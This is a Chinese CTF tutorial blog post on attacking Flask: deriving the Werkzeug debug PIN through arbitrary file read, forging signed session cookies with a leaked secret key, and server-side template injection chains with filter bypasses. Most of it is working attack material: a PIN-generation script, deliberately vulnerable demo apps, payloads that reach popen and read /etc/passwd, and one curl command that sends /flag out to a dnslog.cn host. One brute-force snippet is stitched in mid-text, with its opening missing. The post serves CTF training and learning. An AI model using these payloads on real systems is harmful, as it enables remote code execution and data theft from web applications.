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浅谈flask与ctf那些事

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本文来源:蚁景科技

本文首发于“合天智汇”公众号 作者：HhhM

flask安全

最近跑了培训写了点flask的session伪造，没能用上，刚好整理了一下先前的资料把flask三种考过的点拿出来写写文章。

debug pin

本地先起一个开启debug模式的服务：

# -*- coding: utf-8 -*-
from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
    return 'hello world!'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)

本机启动时会打印出如下：

Use a production WSGI server instead.
 * Debug mode: on
 * Restarting with windowsapi reloader
 * Debugger is active!
 * Debugger PIN: 284-467-555
 * Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)

多次启动会发现打印的PIN码是相同的，分析源自参考链接，可以得出debug pin由六个值决定：

  • 用户
  • flask.app
  • Flask
  • flask目录下的一个app.py的绝对路径
  • 当前电脑的MAC地址，为mac地址的十进制表达式
  • 首先尝试读取/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值，若有就直接返回；假如是在win平台下读取不到上面两个文件，就去获取注册表中SOFTWARE\\Microsoft\\Cryptography的值，并返回

也就是我们如果能够伪造这六个值我们就能够生成一个一模一样的PIN码了。

靶机测试

而要获取这六个值我们可以通过任意文件读取来获得，因此本地写一个文件读取的漏洞点，并且为了方便写一个报错页面，放docker上启动：

# -*- coding: utf-8 -*-
from flask import Flask, request
app = Flask(__name__)

@app.route("/")
def hello():
    return Hello['a']

@app.route("/file")
def file():
    filename = request.args.get('filename')
    try:
        with open(filename, 'r') as f:
            return f.read()
    except:
        return 'error'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)
  • flask.app
  • Flask
  • 获取machine-id

直接访问即可：

http://172.19.75.19:30000/file?filename=/etc/machine-id
32e48d371198e8420c53b0a1fa37e94d
  • 获取mac地址
http://172.19.75.19:30000/file?filename=/sys/class/net/eth0/address
02:42:ac:11:00:02
print(0x0242ac110002)
2485377892354
  • 用户名从报错界面可以获得

使用脚本即可获得pin码：

import hashlib
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892354',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

得到：

284-995-758

在debug页面输入后成功执行代码。

session伪造

p神文中提到一个客户端session，flask中的session是存放在cookie中的，那么cookie中的字段在客户端访问时是可以被修改的，这就是客户端session，像php的session是存放在服务器中的，django的session可以存放在数据库中，也可以以文件形式存放在服务器中。

而flask的客户端session需要解决的就是防篡改问题，p神总结出来为以下四点：

  1. json.dumps 将对象转换成json字符串，作为数据
  2. 如果数据压缩后长度更短，则用zlib库进行压缩
  3. 将数据用base64编码
  4. 通过hmac算法计算数据的签名，将签名附在数据后，用“.”分割

因此，防篡改的功能位于第四步，也就是签名，在前面学过jwt感觉是差不多的，签名不对的话服务端是无法通过验证的。

写一个flask应用后给session赋值（非正式写法）：

from flask import session
session['user'] = 'tom'

可以看到cookie中是有这么一段东西：

session=eyJ1c2VyIjoidG9tIn0.XzVf_w.Is2SqC_MS8NIBynok5BQpmldBLI

解密后我们看到：浅谈flask与ctf那些事-第1张图片-网盾网络安全培训

前半截是一个json串，后半截就是一个签名了，倘若有一个ssti，我们通过如{{config}}读取到密钥，那么就可以通过flask-session脚本来伪造session，替换上cookie之后即可达成session伪造。

靶机测试

通过ssti获取到密钥：

http://127.0.0.1:8080/?a={{config}}

抓包获取session，解密取得格式。

{"user":"tom"}

工具伪造session：

$ python3 flask_session_cookie_manager3.py encode -s 'hello world' -t '{"user":"admin"}'

eyJ1c2VyIjoiYWRtaW4ifQ.Xzqkag.jq8cULYNeQYVZiH-2Fe3cAfECk4

替换后：浅谈flask与ctf那些事-第2张图片-网盾网络安全培训

ssti

老生常谈的问题，一直没总结，稍微写写。

先前对于ssti的理解不是很清晰，只会解一些稍简单的ssti，前段时间想出个flask的ssti才发现原来并不是模板中的变量可控就会导致模板注入，一个典型的模板注入如下：

from flask import Flask, render_template_string, request

app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
def index():
    template = '''
        div>
            h3>%s/h3>
        /div>
    ''' % (request.url)

    return render_template_string(template)

此种形式存在着变量可控的，同时使用了一个不固定的模板，此时就造成了一个ssti，应该认识到的是实际场景很少有ssti的漏洞，因为像这样写模板如果代码量少的话确实方便，但代码量多的话都会写成下面的形式了：

def index():
   return render_template("index.html",title='Home',user=request.args.get("user"))html>
  head>
    title>{{title}}/title>
  /head>
 body>
      h1>Hello, {{user.name}}!/h1>
  /body>
/html>

这种情况下是模板先渲染后我们再传入变量，此时代码是安全的；那么目前主题是ssti，当然要继续以不安全的代码来测试一下ssti :），为方便测试我们对第一套代码再作修改：

from flask import Flask, render_template_string, request

app = Flask(__name__)
app.secret_key = "hello world"

@app.route('/', methods=['GET', 'POST'])
@app.route('/index', methods=['GET', 'POST'])
def test():
    template = '''
        div>
            h3>%s/h3>
        /div>
    ''' % (request.args.get("a"))

    return render_template_string(template)


if __name__ == '__main__':
    app.debug = True
    app.run()

运行，传入路由：

http://127.0.0.1:5000/?a={{7*7}}

发现输出49，此时就说明了能够被利用来进行ssti的测试；那么前面学习session伪造时所需要的密钥就可以通过config读到：

http://127.0.0.1:5000/?a={{config}}

那么此处无论是采用%s、format或是其他形式的格式化字符串都好，只要我们的模板在被渲染之前就存在着某处可控，那么就存在着ssti的风险。

无过滤

以前稍微学过，再做个复习。

默认的，所有类追溯回去都能是有着一个object类，因为两个py版本下会有差别，所以分两个py版本进行测试。

py3.7

第一步先通过一个对象获取到对应的类。

#-*- coding:utf-8 -*-
#__author__: HhhM

class MyownClass():
    def __init__(self):
        self.name = "a"


print(MyownClass().__class__)
print("".__class__)
print([].__class__)


"""
out:
class '__main__.MyownClass'>
class 'str'>
class 'list'>
"""

可以看出来__class__是返回该对象所对应的类，下一步拿到基类，也就是object:

print(MyownClass().__class__.__base__)
print("".__class__.__base__)
print([].__class__.__base__)

"""
out:
class 'object'>
class 'object'>
class 'object'>
"""

那么这里也能得到__base__的作用，获得其是获得类所继承的类，可以看到构造出来是一样的类（object），那么我们写一个继承类看看__base__输出什么：

#-*- coding:utf-8 -*-
#__author__: HhhM


class MyownClass():
    def __init__(self):
        self.name = "a"

class MyownClass1(MyownClass):
    def __init__(self):
        self.name = "a"

print(MyownClass1().__class__.__base__)
print(MyownClass1().__class__.__base__.__base__)

"""
out:
class '__main__.MyownClass'>
class 'object'>
"""

所以我们拿到一个继承类时可以通过base来层层回溯获取到object类，获取到object类后继续：

print("".__class__.__base__.__subclasses__())
print("".__class__.__bases__[0].__subclasses__())
"""
out:
[class 'type'>, class 'weakref'>, class 'weakcallableproxy'>, class 'weakproxy'>, class 'int'>, class 'bytearray'>, class 'bytes'>, class 'list'>, class 'NoneType'>, class 'NotImplementedType'>,....]
"""

__subclasses__获取的是当前类的子类列表，那么我们对应上面有继承关系的MyownClass这个类获取到的则是：

[class '__main__.MyownClass1'>]

通过object类获取到的是一个列表，因此可以通过列表取值的方式获取到我们需要的类，然而会发现类太多了，找到了我们要的类也不知道他处于列表的哪个位置，可以简单写个脚本跑一下：

#-*- coding:utf-8 -*-
#__author__: HhhM
import json


a = """
class 'type'>, class 'weakref'>, class 'weakcallableproxy'>, class 'weakproxy'>, class 'int'>, class 'bytearray'>, class 'bytes'>, class 'list'>, class 'NoneType'>, class 'NotImplementedType'>, class 'traceback'>, class 'super'>, class 'range'>, class 'dict'>, class 'dict_keys'>, class 'dict_values'>, class 'dict_items'>, class 'odict_iterator'>, class 'set'>, class 'str'>, class 'slice'>, class 'staticmethod'>, class 'complex'>, class 'float'>, class 'frozenset'>, class 'property'>, class 'managedbuffer'>, class 'memoryview'>, class 'tuple'>, class 'enumerate'>, class 'reversed'>, class 'stderrprinter'>, class 'code'>, class 'frame'>, class 'builtin_function_or_method'>, class 'method'>, class 'function'>
"""

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i


for k,v in enumerate(allList):
    if "os" in v:
        print(str(k)+"--->"+v)

我在128取到了class 'os._wrap_close'>，我们通过调用它的__init__方法进行初始化类：

print("".__class__.__base__.__subclasses__()[128].__init__)

"""
function _wrap_close.__init__ at 0x016E9A50>
"""

通过调用globals可以获取到类内存在的方法、属性等值：

print("".__class__.__base__.__subclasses__()[128].__init__.__globals__)

会发现是一个字典，因此我们只需要找到其内存在我们需要的值对应的键之后取值即可。

python3中没有file对象，但还有open，因此有：

print("".__class__.__base__.__subclasses__()[128].__init__.__globals__["open"])

"""
built-in function open>
"""

此时取到的open我在本地测试时会报错，网上提示是被os的open模块覆盖了，测试后可以如下取到：

print("".__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']["open"]("2.py").read())

可以看出来各个环境下具体情况也会有区别，本地测试通远程不通大多是这个原因了吧，倒是个需要记住的点。

还有个popen可以执行命令：

print("".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']("dir").read())

本地测试的话可以写个脚本跑跑有什么可以用的，像找能够构造出eval的类：

for i in "".__class__.__base__.__subclasses__():
    try:
        i.__init__.__globals__['__builtins__']["eval"]("__import__('os').popen('dir').read()")
        print(i)
    except Exception:
        pass

会发现的是只要拥有__builtins__的就可以构造出来。

os模块也能如此利用：

"".__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('whoami').read()

py2.7

py3了解之后再回看py2会明了的多，首先是字符串取基类，我发现就是以py3的payload取：

print("".__class__.__base__)
print(().__class__.__base__)
"""
out:
type 'basestring'>
type 'object'>
"""

str类需要再套一层base才能取到object类，而其他内置类不需要。

然后找链的过程就大同小异了，py2区别py3的说就有一个file类，可以直接用来读写文件了，用上面的脚本跑出file对象对应的位置。

# 读
print(().__class__.__base__.__subclasses__()[40]('2.py').readline())
print(().__class__.__base__.__subclasses__()[40]('2.py').readlines())
# 写
print(().__class__.__base__.__subclasses__()[40]('2.py').write('context'))

bypass

下面环境皆以py3.7作为测试环境，起个docker，发现os._wrap_close处在第35的位置。

过滤base

过滤base之后还可以用mro：

class MyownClass():
    def __init__(self):
        self.name = "a"

class MyownClass1(MyownClass):
    def __init__(self):
        self.name = "a"

print("".__class__.__mro__)
print(().__class__.__mro__)
print(MyownClass1().__class__.__mro__)

"""
out:
(class 'str'>, class 'object'>)
(class 'tuple'>, class 'object'>)
(class '__main__.MyownClass1'>, class '__main__.MyownClass'>, class 'object'>)
"""

包含了整条的继承链，可以看到的是object一直处于最末，直接取-1即可：

print(().__class__.__mro__[-1])

取到object类后接下来的操作就一毛一样了。

也可以用拼接：

print(().__class__['__ba'+'se__'])

过滤class

拼接：

{{()['__cla'+'ss__'].__mro__[-1]}}

这四个都是flask的内置对象，通过他们我们就可以获取到object类了，拼接绕过的话是可以绕过大部分过滤的了。

如果这里mro被过滤了则可以尝试用base一层一层溯源到object类

过滤中括号

利用__getitem__可以取第n位，如：

http://127.0.0.1:5000/?a={{().__class__.__mro__.__getitem__(-1)}}

也可以用pop弹出列表第n位：

{{().__class__.__base__.__subclasses__().pop(-1)}}

过滤双大括号

可以考虑使用判断语句：

http://127.0.0.1:5000/?a={% if "".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']("curl `cat /flag`.z2yw9j.dnslog.cn").read()=='test' %}1{% endif %}

无回显可用curl外带。

过滤subclasses

依旧拼接大法：

{{"".__class__.__base__['__subcl'+'asses__']()}}

感觉吧，只要没过滤加号就能拼接绕过。

过滤关键字符

前面的话是构造获取需要的方法链时的一个绕过，这里的话就是在命令执行时的绕过，主要是chr函数起的作用，像php或者是nodejs也有类似的玩法，chr()字符拼接达成绕过。

主要是从含有builtins的类中获取到chr函数，如下：

"".__class__.__base__.__subclasses__()[35].__init__.__globals__['__builtins__']['chr']

模板语言还是不弱的，我们可以用来设置值简化payload长度同时进行绕过：

{% set c = "".__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__['chr'] %}{{"".__class__.__base__.__subclasses__()[35].__init__.__globals__['popen'](c(119)%2bc(104)%2bc(111)%2bc(97)%2bc(109)%2bc(105)).read()}}

过滤引号

过滤引号的话同样可以用chr来绕过传参时所需要的引号，只需要将先前的链中取值方式略作修改即可，取chr

{{().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.chr}}

则执行命令为：

{% set c = ().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[35].__init__.__globals__.popen(c(119)%2bc(104)%2bc(111)%2bc(97)%2bc(109)%2bc(105)).read()}}

因为flask中存在着request这个内置对象，所以我们也可以利用request来绕过。

在使用模板时，当存在{{request.args.test}}，在我们传入?test=asd时即可指定其值为asd，并且默认的为字符串类型，我们可以借此来达成绕过引号。

如：

?a={{().__class__.__base__.__subclasses__()[35].__init__.__globals__.popen(request.args.cmd).read()}}=>?@[\]^`{|}~"_%
"""

for i in range(0,100):
    for c in s:
        payload = '{% if ().__class__.__base__.__subclasses__()[35].__init__.__globals__.__builtins__.open("/etc/passwd").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}hhhm{% endif %}'
        if check(payload):
            password += c
            break
    print password

过滤init

还有一个替代的__enter__，同样的有paylod：

{{().__class__.__base__.__subclasses__()[35].__enter__.__globals__.__builtins__.open("/etc/passwd").read()}}

甚至还有另一个__exit__同样可以替代：

{{().__class__.__base__.__subclasses__()[35].__exit__.__globals__.__builtins__.open("/etc/passwd").read()}}

base64绕过

简单易懂，py2下可以不过py3因为其字符为unicode编码，需要进行转码。

{{().__class__.__base__.__subclasses__()[35].__exit__.__globals__.__builtins__.open("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')).read()}}

环境

配套docker已发布于github：https://github.com/a756379684/flask-sec-docker

参考

参考自：

https://xz.aliyun.com/t/2553

https://www.leavesongs.com/PENETRATION/client-session-security.html

https://xz.aliyun.com/t/7746

https://p0sec.net/index.php/archives/120

相关实验

Flask服务端模板注入漏洞

https://sourl.cn/dyS7CC

（通过该实验了解服务端模板注入漏洞的危害与利用。）

标签： CTF

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